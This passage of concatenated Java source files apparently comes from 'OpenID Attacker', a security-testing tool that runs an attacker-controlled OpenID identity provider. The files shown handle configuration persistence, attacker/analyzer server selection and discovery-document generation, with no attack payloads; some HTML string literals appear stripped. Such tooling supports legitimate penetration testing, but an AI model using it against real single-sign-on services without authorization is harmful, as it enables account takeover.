02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.bootstrap; 20 | 21 | import java.io.File; 22 | import java.util.List; 23 | import org.apache.log4j.Logger; 24 | import org.openid4java.association.Association; 25 | import wsattacker.sso.openid.attacker.config.ToolConfiguration; 26 | import wsattacker.sso.openid.attacker.config.XmlPersistenceError; 27 | import wsattacker.sso.openid.attacker.config.XmlPersistenceHelper; 28 | import wsattacker.sso.openid.attacker.controller.ServerController; 29 | import wsattacker.sso.openid.attacker.server.buisinesslogic.CustomInMemoryServerAssociationStore; 30 | 31 | /** 32 | * This class provides static methods for starting and stopping the main 33 | * programm 34 | */ 35 | final public class Bootstrap { 36 | 37 | final private static Logger LOG = Logger.getLogger(Bootstrap.class); 38 | final private static File DEFAULT_CONFIG_FILE = new File("openId_config.xml"); 39 | final private static File DEFAULT_ASSOCIATION_FILE = new File("openId_associations.ser"); 40 | private static boolean started = false; 41 | private static boolean stopped = false; 42 | private static ServerController controller = new ServerController(); 43 | 44 | public static void onStart() { 45 | try { 46 | throwIfAlreadyStarted(); 47 | readGlobalConfigFromDisk(); 48 | readAssociationFromDisk(); 49 | } catch (XmlPersistenceError ex) { 50 | LOG.warn("Error while starting the program"); 51 | } 52 | } 53 | 54 | public static void onStop() { 55 | try { 56 | throwIfAlreadyStopped(); 57 | saveGlobalConfigToDisk(); 58 | saveAssociationToDisk(); 59 | } catch (XmlPersistenceError ex) { 60 | LOG.warn("Error while stopping the program"); 61 | } 62 | } 63 | 64 | private static void throwIfAlreadyStopped() { 65 | if (stopped) { 66 | throw new IllegalStateException("onStop() Method was already invoked"); 67 | } 68 | stopped = true; 69 | } 70 | 71 | private static void throwIfAlreadyStarted() { 72 | if (started) { 73 | throw new IllegalStateException("onStart() Method was already invoked"); 74 | } 75 | started = true; 76 | } 77 | 78 | private static void readGlobalConfigFromDisk() throws XmlPersistenceError { 79 | if (DEFAULT_CONFIG_FILE.isFile()) { 80 | ToolConfiguration currentToolConfig = new ToolConfiguration(); 81 | currentToolConfig.setAttackerConfig(controller.getAttackerConfig()); 82 | currentToolConfig.setAnalyzerConfig(controller.getAnalyzerConfig()); 83 | 84 | XmlPersistenceHelper.mergeConfigFileToConfigObject(DEFAULT_CONFIG_FILE, currentToolConfig); 85 | } 86 | } 87 | 88 | private static void saveGlobalConfigToDisk() throws XmlPersistenceError { 89 | controller.getConfig().setPerformAttack(false); 90 | 91 | ToolConfiguration currentToolConfig = new ToolConfiguration(); 92 | currentToolConfig.setAttackerConfig(controller.getAttackerConfig()); 93 | currentToolConfig.setAnalyzerConfig(controller.getAnalyzerConfig()); 94 | 95 | XmlPersistenceHelper.saveConfigToFile(DEFAULT_CONFIG_FILE, currentToolConfig); 96 | } 97 | 98 | private static void readAssociationFromDisk() throws XmlPersistenceError { 99 | CustomInMemoryServerAssociationStore store = controller.getServer().getStore(); 100 | List associationList = XmlPersistenceHelper.loadAssociationStoreFromFile(DEFAULT_ASSOCIATION_FILE); 101 | store.setAssociationList(associationList); 102 | } 103 | 104 | private static void saveAssociationToDisk() throws XmlPersistenceError { 105 | CustomInMemoryServerAssociationStore store = controller.getServer().getStore(); 106 | List associationList = store.getAssociationList(); 107 | XmlPersistenceHelper.saveAssociationStoreToDisk(DEFAULT_ASSOCIATION_FILE, associationList); 108 | } 109 | 110 | private Bootstrap() { 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/composition/AbstractBean.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.composition; 20 | 21 | import java.beans.PropertyChangeEvent; 22 | import java.beans.PropertyChangeListener; 23 | import java.beans.PropertyChangeSupport; 24 | 25 | public class AbstractBean { 26 | 27 | private transient final PropertyChangeSupport propertyChangeSupport = new PropertyChangeSupport(this); 28 | 29 | /** 30 | * Add PropertyChangeListener. 31 | * 32 | * @param listener 33 | */ 34 | final public void addPropertyChangeListener(PropertyChangeListener listener) { 35 | propertyChangeSupport.addPropertyChangeListener(listener); 36 | } 37 | 38 | final public void addPropertyChangeListener(String propertyName, PropertyChangeListener listener) { 39 | propertyChangeSupport.addPropertyChangeListener(propertyName, listener); 40 | } 41 | 42 | /** 43 | * Remove PropertyChangeListener. 44 | * 45 | * @param listener 46 | */ 47 | final public void removePropertyChangeListener(PropertyChangeListener listener) { 48 | propertyChangeSupport.removePropertyChangeListener(listener); 49 | } 50 | 51 | final public void removePropertyChangeListener(String propertyName, PropertyChangeListener listener) { 52 | propertyChangeSupport.removePropertyChangeListener(propertyName, listener); 53 | } 54 | 55 | public final PropertyChangeListener[] getPropertyChangeListeners() { 56 | return propertyChangeSupport.getPropertyChangeListeners(); 57 | } 58 | 59 | public final PropertyChangeListener[] getPropertyChangeListeners(String propertyName) { 60 | return propertyChangeSupport.getPropertyChangeListeners(propertyName); 61 | } 62 | 63 | protected final void firePropertyChange(String propertyName, Object oldValue, Object newValue) { 64 | propertyChangeSupport.firePropertyChange(propertyName, oldValue, newValue); 65 | } 66 | 67 | protected final void firePropertyChange(PropertyChangeEvent evt) { 68 | propertyChangeSupport.firePropertyChange(evt); 69 | } 70 | 71 | protected final void fireIndexedPropertyChange(String propertyName, int index, Object oldValue, Object newValue) { 72 | propertyChangeSupport.fireIndexedPropertyChange(propertyName, index, oldValue, newValue); 73 | } 74 | 75 | protected final boolean hasPropertyChangeListeners(String propertyName) { 76 | return propertyChangeSupport.hasListeners(propertyName); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/config/ToolConfiguration.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.config; 20 | 21 | import javax.xml.bind.annotation.XmlRootElement; 22 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 23 | 24 | /** 25 | * 26 | * @author christiankossmann 27 | */ 28 | 29 | @XmlRootElement(name = "ToolConfiguration") 30 | public class ToolConfiguration extends AbstractBean { 31 | 32 | private OpenIdServerConfiguration attackerConfig; 33 | private OpenIdServerConfiguration analyzerConfig; 34 | 35 | public static final String PROP_ATTACKERCONFIG = "attackerConfig"; 36 | public static final String PROP_ANALYZERCONFIG = "analyzerConfig"; 37 | 38 | public ToolConfiguration() { 39 | 40 | } 41 | 42 | /** 43 | * Get the value of analyzerConfig 44 | * 45 | * @return the value of analyzerConfig 46 | */ 47 | public OpenIdServerConfiguration getAnalyzerConfig() { 48 | return analyzerConfig; 49 | } 50 | 51 | /** 52 | * Set the value of analyzerConfig 53 | * 54 | * @param analyzerConfig new value of analyzerConfig 55 | */ 56 | public void setAnalyzerConfig(OpenIdServerConfiguration analyzerConfig) { 57 | OpenIdServerConfiguration oldAnalyzerConfig = this.analyzerConfig; 58 | this.analyzerConfig = analyzerConfig; 59 | firePropertyChange(PROP_ANALYZERCONFIG, oldAnalyzerConfig, analyzerConfig); 60 | } 61 | 62 | /** 63 | * Get the value of attackerConfig 64 | * 65 | * @return the value of attackerConfig 66 | */ 67 | public OpenIdServerConfiguration getAttackerConfig() { 68 | return attackerConfig; 69 | } 70 | 71 | /** 72 | * Set the value of attackerConfig 73 | * 74 | * @param attackerConfig new value of attackerConfig 75 | */ 76 | public void setAttackerConfig(OpenIdServerConfiguration attackerConfig) { 77 | OpenIdServerConfiguration oldAttackerConfig = this.attackerConfig; 78 | this.attackerConfig = attackerConfig; 79 | firePropertyChange(PROP_ATTACKERCONFIG, oldAttackerConfig, attackerConfig); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/config/XmlPersistenceError.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.config; 20 | 21 | import org.apache.log4j.Logger; 22 | 23 | /** 24 | * Exception which will be thrown in the error case when loading or saving 25 | * a config XML file. 26 | */ 27 | public class XmlPersistenceError extends Exception { 28 | 29 | private static final Logger LOG = Logger.getLogger(XmlPersistenceError.class); 30 | 31 | public XmlPersistenceError(String message) { 32 | super(message); 33 | LOG.warn(message); 34 | } 35 | 36 | public XmlPersistenceError(String message, Throwable cause) { 37 | super(message, cause); 38 | LOG.warn(message); 39 | } 40 | 41 | public XmlPersistenceError(Throwable cause) { 42 | super(cause); 43 | LOG.warn(cause); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/controller/ServerController.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.controller; 20 | 21 | import java.util.List; 22 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 23 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration; 24 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResult; 25 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResultStore; 26 | import wsattacker.sso.openid.attacker.log.RequestLogEntry; 27 | import wsattacker.sso.openid.attacker.log.RequestLogger; 28 | import wsattacker.sso.openid.attacker.server.IdpType; 29 | import wsattacker.sso.openid.attacker.server.OpenIdServer; 30 | 31 | public class ServerController extends AbstractBean { 32 | 33 | private IdpType idpType; 34 | 35 | private static final OpenIdServer attackerServer = new OpenIdServer(); 36 | private static final OpenIdServerConfiguration attackerConfig = OpenIdServerConfiguration.getAttackerInstance(); 37 | 38 | private static OpenIdServer analyzerServer; 39 | private static final OpenIdServerConfiguration analyzerConfig = OpenIdServerConfiguration.getAnalyzerInstance(); 40 | 41 | public ServerController() { 42 | // by default set config and server to the attacker IdP 43 | idpType = IdpType.ATTACKER; 44 | } 45 | 46 | public OpenIdServer getServer() { 47 | if (idpType.equals(IdpType.ATTACKER)) { 48 | return attackerServer; 49 | } 50 | 51 | return getAnalyzerServer(); 52 | } 53 | 54 | public OpenIdServerConfiguration getConfig() { 55 | if (idpType.equals(IdpType.ATTACKER)) { 56 | return attackerConfig; 57 | } 58 | 59 | return analyzerConfig; 60 | } 61 | 62 | 63 | 64 | // set the server AND config to the attacker or analyzer IdP 65 | public void setIdp(IdpType idp) { 66 | switch (idp) { 67 | case ATTACKER: 68 | idpType = IdpType.ATTACKER; 69 | break; 70 | case ANALYZER: 71 | idpType = IdpType.ANALYZER; 72 | break; 73 | } 74 | } 75 | 76 | public OpenIdServer getAnalyzerServer() { 77 | if (analyzerServer == null) { 78 | analyzerServer = new OpenIdServer(IdpType.ANALYZER); 79 | } 80 | 81 | return analyzerServer; 82 | } 83 | 84 | public OpenIdServerConfiguration getAnalyzerConfig() { 85 | return analyzerConfig; 86 | } 87 | 88 | public OpenIdServer getAttackerServer() { 89 | return attackerServer; 90 | } 91 | 92 | public OpenIdServerConfiguration getAttackerConfig() { 93 | return attackerConfig; 94 | } 95 | public List getRequestLog() { 96 | return RequestLogger.getInstance().getEntryList(); 97 | } 98 | 99 | public List getEvaluationResults() { 100 | return EvaluationResultStore.getEvaluationResultStore().getEvaluationResults(); 101 | } 102 | 103 | /*public List getFilteredRequestLog() { 104 | List requestLog = RequestLogger.getInstance().getEntryList(); 105 | 106 | List filteredRequestLog = 107 | requestLog. 108 | stream(). 109 | filter(entry -> entry.getIdpType().equals(idpType)). 110 | collect(Collectors.toList()); 111 | 112 | return filteredRequestLog; 113 | }*/ 114 | /* 115 | public List getAttackerRequestLog() { 116 | List requestLog = RequestLogger.getInstance().getEntryList(); 117 | 118 | return requestLog. 119 | parallelStream(). 120 | filter(entry -> entry.getIdpType().equals(IdpType.ATTACKER)). 121 | collect(Collectors.toList()); 122 | } 123 | 124 | public List getAnalyzerRequestLog() { 125 | List requestLog = RequestLogger.getInstance().getEntryList(); 126 | 127 | return requestLog. 128 | parallelStream(). 129 | filter(entry -> entry.getIdpType().equals(IdpType.ANALYZER)). 130 | collect(Collectors.toList()); 131 | }*/ 132 | } -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/discovery/exception/DiscoveryException.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.discovery.exception; 20 | 21 | public class DiscoveryException extends RuntimeException { 22 | 23 | /** 24 | * Creates a new instance of 25 | * DiscoveryException without detail message. 26 | */ 27 | public DiscoveryException(String msg, Throwable e) { 28 | super(msg, e); 29 | } 30 | 31 | /** 32 | * Constructs an instance of 33 | * DiscoveryException with the specified detail message. 34 | * 35 | * @param msg the detail message. 36 | */ 37 | public DiscoveryException(String msg) { 38 | super(msg); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/discovery/html/HtmlDiscoveryGenerator.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.discovery.html; 20 | 21 | import org.w3c.dom.Document; 22 | import org.w3c.dom.Element; 23 | import org.w3c.dom.Node; 24 | import wsattacker.sso.openid.attacker.discovery.utilities.DomUtilities; 25 | 26 | final public class HtmlDiscoveryGenerator { 27 | 28 | final static String NEWLINE = System.getProperty("line.separator"); 29 | 30 | public static String generateString(HtmlDiscoveryConfiguration config) { 31 | // Document htmlDocument = generateHtmlDocument(config); 32 | // return DomUtilities.domToString(htmlDocument, true); 33 | final String baseUrl = config.getBaseUrl(); 34 | final String idenentity = config.getIdentity(); 35 | StringBuilder sb = new StringBuilder(); 36 | sb.append("").append(NEWLINE); 37 | sb.append(" ").append(NEWLINE); 38 | sb.append(" "); 39 | sb.append(idenentity); 40 | sb.append("").append(NEWLINE); 41 | if (config.isOpenidServer()) { 42 | sb.append(" ").append(NEWLINE); 45 | if (config.isIncludeIdentity()) { 46 | sb.append(" ").append(NEWLINE); 49 | } 50 | } 51 | if (config.isOpenId2Provider()) { 52 | sb.append(" ").append(NEWLINE); 55 | if (config.isIncludeIdentity()) { 56 | sb.append(" ").append(NEWLINE); 59 | } 60 | } 61 | sb.append(" ").append(NEWLINE); 62 | sb.append(" ").append(NEWLINE); 63 | sb.append("

HTML Discovery for:

").append(NEWLINE); 64 | sb.append("

"); 65 | sb.append(idenentity); 66 | sb.append("

").append(NEWLINE); 67 | sb.append(" ").append(NEWLINE); 68 | sb.append("").append(NEWLINE); 69 | return sb.toString(); 70 | } 71 | 72 | protected static Document generateHtmlDocument(HtmlDiscoveryConfiguration config) { 73 | Document htmlDoc = DomUtilities.createEmptyDom(); 74 | Element html = appendElement(htmlDoc, htmlDoc, "html"); 75 | generateHtmlHead(html, config); 76 | generateHtmlBody(html, config); 77 | return htmlDoc; 78 | } 79 | 80 | private static Element appendElement(Node parentElement, final String childName) { 81 | final Document ownerDocument = parentElement.getOwnerDocument(); 82 | return appendElement(ownerDocument, parentElement, childName); 83 | } 84 | 85 | private static void generateHtmlBody(Element html, final HtmlDiscoveryConfiguration config) { 86 | final String identity = config.getIdentity(); 87 | Element body = appendElement(html, "body"); 88 | Element p1 = appendElement(body, "p"); 89 | p1.setTextContent("HTML Discovery for:"); 90 | Element p2 = appendElement(body, "p"); 91 | p2.setTextContent(identity); 92 | } 93 | 94 | private static void generateHtmlHead(Element html, final HtmlDiscoveryConfiguration config) { 95 | final String identity = config.getIdentity(); 96 | Element head = appendElement(html, "head"); 97 | Element title = appendElement(head, "title"); 98 | title.setTextContent(identity); 99 | addOpenIdServerIfWanted(config, head); 100 | addOpenId2ProviderIfWanted(config, head); 101 | addOpenIdLocalIdentityIfWanted(config, head); 102 | } 103 | 104 | private static void addOpenIdLink(Element parent, final String name, final String value) { 105 | Element link = appendElement(parent, "link"); 106 | link.setAttribute("rel", name); 107 | link.setAttribute("href", value); 108 | } 109 | 110 | private static void addOpenIdServerIfWanted(final HtmlDiscoveryConfiguration config, Element head) { 111 | if (config.isOpenidServer()) { 112 | final String name = "openid.server"; 113 | final String value = config.getBaseUrl(); 114 | addOpenIdLink(head, name, value); 115 | } 116 | } 117 | 118 | private static void addOpenId2ProviderIfWanted(final HtmlDiscoveryConfiguration config, Element head) { 119 | if (config.isOpenId2Provider()) { 120 | final String name = "openid2.provider"; 121 | final String value = config.getBaseUrl(); 122 | addOpenIdLink(head, name, value); 123 | } 124 | } 125 | 126 | private static void addOpenIdLocalIdentityIfWanted(final HtmlDiscoveryConfiguration config, Element head) { 127 | if (config.isIncludeIdentity()) { 128 | final String name = "openid2.local_id"; 129 | final String value = config.getIdentity(); 130 | addOpenIdLink(head, name, value); 131 | } 132 | } 133 | 134 | private static Element appendElement(final Document ownerDocument, Node parentElement, final String childName) { 135 | final Element childElement = ownerDocument.createElement(childName); 136 | parentElement.appendChild(childElement); 137 | return childElement; 138 | } 139 | 140 | private HtmlDiscoveryGenerator() { 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/discovery/utilities/DomUtilities.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.discovery.utilities; 20 | 21 | import java.io.StringWriter; 22 | import javax.xml.parsers.DocumentBuilder; 23 | import javax.xml.parsers.DocumentBuilderFactory; 24 | import javax.xml.parsers.ParserConfigurationException; 25 | import javax.xml.transform.OutputKeys; 26 | import javax.xml.transform.Transformer; 27 | import javax.xml.transform.TransformerException; 28 | import javax.xml.transform.TransformerFactory; 29 | import javax.xml.transform.dom.DOMSource; 30 | import javax.xml.transform.stream.StreamResult; 31 | import org.w3c.dom.Document; 32 | import org.w3c.dom.Node; 33 | import wsattacker.sso.openid.attacker.discovery.xrds.XrdsConfiguration; 34 | 35 | final public class DomUtilities { 36 | 37 | public static Document createEmptyDom() { 38 | Document doc = null; 39 | try { 40 | DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); 41 | factory.setNamespaceAware(true); 42 | DocumentBuilder builder = factory.newDocumentBuilder(); 43 | doc = builder.newDocument(); 44 | } catch (ParserConfigurationException e) { 45 | throw new IllegalStateException("This should never happen", e); 46 | } 47 | return doc; 48 | } 49 | 50 | public static String domToString(Node n, boolean prettyPrint) { 51 | StringWriter output = new StringWriter(); 52 | Transformer transformer; 53 | try { 54 | transformer = TransformerFactory.newInstance().newTransformer(); 55 | transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes"); 56 | if (prettyPrint) { 57 | transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2"); 58 | transformer.setOutputProperty(OutputKeys.INDENT, "yes"); 59 | } 60 | transformer.transform(new DOMSource(n), new StreamResult(output)); 61 | } catch (IllegalArgumentException | TransformerException e) { 62 | throw new IllegalStateException(String.format("%s.domToString() throws an Exception. This should never happen", XrdsConfiguration.class.getName()), e); 63 | } 64 | return output.toString(); 65 | } 66 | 67 | /** 68 | * Converts a DOM Node to a String 69 | * 70 | * @param Node 71 | * n 72 | * 73 | * @return 74 | */ 75 | public static String domToString(Node n) { 76 | return domToString(n, false); 77 | } 78 | 79 | private DomUtilities() { 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/discovery/xrds/OpenIdVersion.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.discovery.xrds; 20 | 21 | public enum OpenIdVersion { 22 | 23 | VERSION_10("OpenID v1.0", "http://openid.net/signon/1.0", "http://openid.net/signon/1.0"), 24 | VERSION_11("OpenID v1.1", "http://openid.net/signon/1.1", "http://openid.net/signon/1.1"), 25 | VERSION_20_OP_IDENTIFIER_ELEMENT("OpenID v2.0 - OP Identifier Element", "http://specs.openid.net/auth/2.0/server", "http://specs.openid.net/auth/2.0"), 26 | VERSION_20_CLAIMED_IDENTIFIER_ELEMENT("OpenID v2.0 - Claimed Identifier Element", "http://specs.openid.net/auth/2.0/signon", "http://specs.openid.net/auth/2.0"); 27 | private final String representation, URI, NS; 28 | 29 | private OpenIdVersion(String representation, String URI, String NS) { 30 | this.representation = representation; 31 | this.URI = URI; 32 | this.NS = NS; 33 | } 34 | 35 | public String getURI() { 36 | return this.URI; 37 | } 38 | 39 | public String getNS() { 40 | return this.NS; 41 | } 42 | 43 | @Override 44 | public String toString() { 45 | return representation; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/discovery/xrds/XrdsConfiguration.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.discovery.xrds; 20 | 21 | import java.io.Serializable; 22 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 23 | 24 | public class XrdsConfiguration extends AbstractBean implements Serializable { 25 | 26 | public static final String PROP_BASEURL = "baseUrl"; 27 | public static final String PROP_OPENIDVERSION = "openIdVersion"; 28 | public static final String PROP_INCLUDEIDENTITY = "includeIdentity"; 29 | public static final String PROP_IDENTITY = "identity"; 30 | private String baseUrl = "http://localhost:8080"; 31 | private OpenIdVersion openIdVersion = OpenIdVersion.VERSION_20_CLAIMED_IDENTIFIER_ELEMENT; 32 | private boolean includeIdentity = true; 33 | private String identity = "http://my.identity.com"; 34 | private int priority = 10; 35 | public static final String PROP_PRIORITY = "priority"; 36 | private String xml = ""; 37 | public static final String PROP_XML = "xml"; 38 | 39 | public XrdsConfiguration() { 40 | updateXml(); 41 | } 42 | 43 | /** 44 | * Get the value of xml 45 | * 46 | * @return the value of xml 47 | */ 48 | public String getXml() { 49 | return xml; 50 | } 51 | 52 | private void updateXml() { 53 | setXml(XrdsGenerator.generateString(this)); 54 | } 55 | 56 | /** 57 | * Set the value of xml 58 | * 59 | * @param xml new value of xml 60 | */ 61 | public void setXml(String xml) { 62 | String oldXml = this.xml; 63 | this.xml = xml; 64 | firePropertyChange(PROP_XML, oldXml, xml); 65 | } 66 | 67 | /** 68 | * Get the value of priority 69 | * 70 | * @return the value of priority 71 | */ 72 | public int getPriority() { 73 | return priority; 74 | } 75 | 76 | /** 77 | * Set the value of priority 78 | * 79 | * @param priority new value of priority 80 | */ 81 | public void setPriority(int priority) { 82 | int oldPriority = this.priority; 83 | this.priority = priority; 84 | firePropertyChange(PROP_PRIORITY, oldPriority, priority); 85 | updateXml(); 86 | } 87 | 88 | /** 89 | * Get the value of identity 90 | * 91 | * @return the value of identity 92 | */ 93 | public String getIdentity() { 94 | return identity; 95 | } 96 | 97 | /** 98 | * Set the value of identity 99 | * 100 | * @param identity new value of identity 101 | */ 102 | public void setIdentity(String identity) { 103 | String oldIdentity = this.identity; 104 | this.identity = identity; 105 | firePropertyChange(PROP_IDENTITY, oldIdentity, identity); 106 | updateXml(); 107 | } 108 | 109 | /** 110 | * Get the value of includeIdentity 111 | * 112 | * @return the value of includeIdentity 113 | */ 114 | public boolean isIncludeIdentity() { 115 | return includeIdentity; 116 | } 117 | 118 | /** 119 | * Set the value of includeIdentity 120 | * 121 | * @param includeIdentity new value of includeIdentity 122 | */ 123 | public void setIncludeIdentity(boolean includeIdentity) { 124 | boolean oldIncludeIdentity = this.includeIdentity; 125 | this.includeIdentity = includeIdentity; 126 | firePropertyChange(PROP_INCLUDEIDENTITY, oldIncludeIdentity, includeIdentity); 127 | updateXml(); 128 | } 129 | 130 | /** 131 | * Get the value of baseUrl 132 | * 133 | * @return the value of baseUrl 134 | */ 135 | public String getBaseUrl() { 136 | return baseUrl; 137 | } 138 | 139 | /** 140 | * Set the value of baseUrl 141 | * 142 | * @param baseUrl new value of baseUrl 143 | */ 144 | public void setBaseUrl(String baseUrl) { 145 | String oldBaseUrl = this.baseUrl; 146 | this.baseUrl = baseUrl; 147 | firePropertyChange(PROP_BASEURL, oldBaseUrl, baseUrl); 148 | updateXml(); 149 | } 150 | 151 | /** 152 | * Get the value of openIdVersion 153 | * 154 | * @return the value of openIdVersion 155 | */ 156 | public OpenIdVersion getOpenIdVersion() { 157 | return openIdVersion; 158 | } 159 | 160 | /** 161 | * Set the value of openIdVersion 162 | * 163 | * @param 